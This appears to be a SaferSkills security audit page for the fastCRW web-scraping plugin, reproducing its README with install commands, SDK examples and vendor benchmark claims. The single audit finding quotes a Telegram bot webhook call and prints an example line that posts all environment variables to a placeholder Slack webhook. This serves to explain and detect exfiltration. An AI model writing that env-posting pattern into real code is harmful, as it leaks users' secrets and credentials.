crw-216ddf — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited crw-216ddf (Plugin) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
This plugin embeds a chat-platform or request-capture webhook URL (curl -s -m 10 "https://api.telegram.org/bot${TG_…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
<p align="center"> <img src="docs/logo-animation.gif" alt="fastCRW" width="180" /> </p>
<h1 align="center">fastCRW</h1>
<p align="center"> Turn URLs into clean <strong>markdown</strong> or structured <strong>JSON</strong> with one engine for search, scrape, map, crawl, and extract. </p>
<p align="center"> Run it locally as a small Rust binary or use the managed API. </p>
<p align="center"> <a href="https://fastcrw.com/register?ref=gh-hero"><strong>Get 1000 free credits →</strong></a> · <a href="#one-command-install"><strong>Install</strong></a> · <a href="https://docs.fastcrw.com"><strong>Docs</strong></a> </p>
<p align="center"> <sub>No credit card. Continue with GitHub.</sub> </p>
<p align="center"> <a href="https://crates.io/crates/crw-server"><img src="https://img.shields.io/crates/v/crw-server.svg" alt="crates.io"></a> <a href="https://pypi.org/project/crw/"><img src="https://img.shields.io/pypi/v/crw.svg?label=pypi" alt="PyPI"></a> <a href="https://www.npmjs.com/package/crw-mcp"><img src="https://img.shields.io/npm/v/crw-mcp.svg?label=npm%20mcp" alt="npm crw-mcp"></a> <a href="https://github.com/fastcrw/crw/actions/workflows/ci.yml"><img src="https://github.com/fastcrw/crw/actions/workflows/ci.yml/badge.svg?branch=main&event=push" alt="CI"></a> <a href="LICENSE"><img src="https://img.shields.io/badge/license-AGPL--3.0-blue.svg" alt="License"></a> <a href="https://github.com/fastcrw/crw/stargazers"><img src="https://img.shields.io/github/stars/fastcrw/crw?style=social" alt="GitHub Stars"></a> </p>
curl -fsSL https://fastcrw.com/install | shRuns local and free, no account needed. To use the Cloud, paste your key into the same command and it installs the binary, connects the key, and registers the MCP server with the AI coding tools you already have:
curl -fsSL https://fastcrw.com/install | CRW_API_KEY=crw_live_... shcrw search "rust tutorials"Claude Code, Cursor, Codex, Gemini CLI, OpenCode and Windsurf are picked up automatically when they are already set up; nothing else is touched, and your key stays in ~/.config/crw/config.toml rather than being copied into each tool. Add CRW_NO_AGENTS=1 to skip that step, or run crw setup on its own to choose interactively.
1000 free credits, no credit card. Managed proxies, JS rendering and search, with nothing to run or keep up to date. Get my free key →
macOS and Linux, Intel and ARM. More install options →
| Operation | Outcome |
|---|---|
| Scrape | One URL to markdown, HTML, links, screenshots, or schema JSON |
| Crawl | Follow a bounded site crawl and collect its pages |
| Map | Discover URLs without scraping every page |
| Search | Search the web and optionally scrape selected results |
| Extract | Produce structured fields from one or many URLs |
On Firecrawl's own public 1,000-URL dataset, fastCRW recovered more truth than Crawl4AI and Firecrawl, matched the fastest median latency, and idled at ~14 MB RAM.
<p align="center"> <a href="BENCHMARKS.md"> <img src=".github/benchmarks/bench-radar.svg" alt="fastCRW compared with Crawl4AI and Firecrawl on truth-recall, unique recoveries, median latency, download size, and recall depth" width="100%"> </a> </p>
<p align="center"><sub><a href="BENCHMARKS.md">Methodology, full numbers, and how to reproduce it</a></sub></p>
On a different benchmark entirely, answer accuracy rather than scrape recall, fastCRW answers 90.0% of the 600 AA-Omniscience questions correctly. Every product listed on the Artificial Analysis Search Index sits below it.
<p align="center"> <a href="https://fastcrw.com/benchmarks/aa-omniscience"> <img src=".github/benchmarks/bench-omniscience.svg" alt="AA-Omniscience answer accuracy. fastCRW 90.0 percent, ahead of every product on the Artificial Analysis Search Index: Firecrawl 73, Exa 70, You.com 69, Parallel 68, Tavily 64, and 38 with no search at all." width="100%"> </a> </p>
<p align="center"><sub><a href="https://fastcrw.com/benchmarks/aa-omniscience">The full 14-product comparison, the control run, and how to reproduce it</a></sub></p>
crw https://example.com # scrape, works right after install
crw search "rust async runtime" # search, after `crw setup`Using Cloud? Get an API key, then export it once:
export CRW_API_KEY="crw_live_..."
pip install crwfrom crw import CrwClient
client = CrwClient()
page = client.scrape("https://example.com", formats=["markdown"])
print(page["markdown"])<details> <summary><strong>Node.js</strong></summary>
npm install crw-sdkimport { CrwClient } from "crw-sdk";
const client = new CrwClient();
const page = await client.scrape("https://example.com", {
formats: ["markdown"],
});
console.log(page.markdown);</details>
Local mode and more SDK examples → · REST API →
npx -y crw-mcp@latest installInstalls the CRW skill and MCP server in your detected AI tools. crw setup can also do this step, so either path is enough. Manual setup →
| Managed API | Local / self-hosted | |
|---|---|---|
| Best for | Zero infrastructure and managed scaling | Data control, private networks, or custom infrastructure |
| Start | Create an API key, then crw setup | Install and run crw <URL> |
| Operations | Managed proxies, billing, and hosted capabilities | You choose renderers, search, auth, proxies, and capacity |
Capabilities and response shapes can differ by deployment: /v1/capabilities · response shapes
The workspace requires Rust 1.85 or newer:
git clone https://github.com/fastcrw/crw
cd crw
make check-fastcrw is better because of these people. Thank you, all of you:
<!-- contributors:start --> <p align="center"> <a href="https://github.com/us" title="us"><img src="https://github.com/us.png?size=96" width="48" height="48" alt="us"/></a> <a href="https://github.com/paoloantinori" title="paoloantinori"><img src="https://github.com/paoloantinori.png?size=96" width="48" height="48" alt="paoloantinori"/></a> <a href="https://github.com/behramcelen" title="behramcelen"><img src="https://github.com/behramcelen.png?size=96" width="48" height="48" alt="behramcelen"/></a> <a href="https://github.com/rqi14" title="rqi14"><img src="https://github.com/rqi14.png?size=96" width="48" height="48" alt="rqi14"/></a> <a href="https://github.com/santhreal" title="santhreal"><img src="https://github.com/santhreal.png?size=96" width="48" height="48" alt="santhreal"/></a> <a href="https://github.com/AsheTheWings" title="AsheTheWings"><img src="https://github.com/AsheTheWings.png?size=96" width="48" height="48" alt="AsheTheWings"/></a> <a href="https://github.com/gjija" title="gjija"><img src="https://github.com/gjija.png?size=96" width="48" height="48" alt="gjija"/></a> <a href="https://github.com/adambenhassen" title="adambenhassen"><img src="https://github.com/adambenhassen.png?size=96" width="48" height="48" alt="adambenhassen"/></a> <a href="https://github.com/atirna" title="atirna"><img src="https://github.com/atirna.png?size=96" width="48" height="48" alt="atirna"/></a> <a href="https://github.com/cdebled" title="cdebled"><img src="https://github.com/cdebled.png?size=96" width="48" height="48" alt="cdebled"/></a> <a href="https://github.com/VIVAAN-DHAWAN" title="VIVAAN-DHAWAN"><img src="https://github.com/VIVAAN-DHAWAN.png?size=96" width="48" height="48" alt="VIVAAN-DHAWAN"/></a> <a href="https://github.com/alkaz-nodemaven" title="alkaz-nodemaven"><img src="https://github.com/alkaz-nodemaven.png?size=96" width="48" height="48" alt="alkaz-nodemaven"/></a> <a href="https://github.com/mj520" title="mj520"><img src="https://github.com/mj520.png?size=96" width="48" height="48" alt="mj520"/></a> </p> <!-- contributors:end -->
Engine and MCP server: AGPL-3.0. Python and TypeScript SDKs: MIT. Embedding license: [email protected].
<a href="https://www.star-history.com/?repos=us%2Fcrw&type=date&legend=top-left"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/chart?repos=us/crw&type=date&theme=dark&legend=top-left&sealed_token=Pe6pRWL7lqTM-St9eo-Cmpk5kYNyuyun0krw9eVZQFIrm3g_R2h46IW6wfNalPXquMsWSNCgKqiar1YVo9MGy2IZmN5Lz6rjZcjBCw6bCcRHORKORFRi9A" /> <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/chart?repos=us/crw&type=date&legend=top-left&sealed_token=Pe6pRWL7lqTM-St9eo-Cmpk5kYNyuyun0krw9eVZQFIrm3g_R2h46IW6wfNalPXquMsWSNCgKqiar1YVo9MGy2IZmN5Lz6rjZcjBCw6bCcRHORKORFRi9A" /> <img alt="Star History Chart" src="https://api.star-history.com/chart?repos=us/crw&type=date&legend=top-left&sealed_token=Pe6pRWL7lqTM-St9eo-Cmpk5kYNyuyun0krw9eVZQFIrm3g_R2h46IW6wfNalPXquMsWSNCgKqiar1YVo9MGy2IZmN5Lz6rjZcjBCw6bCcRHORKORFRi9A" /> </picture> </a>
<sub>Please respect website policies. Crawl and map follow robots.txt by default.</sub>
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.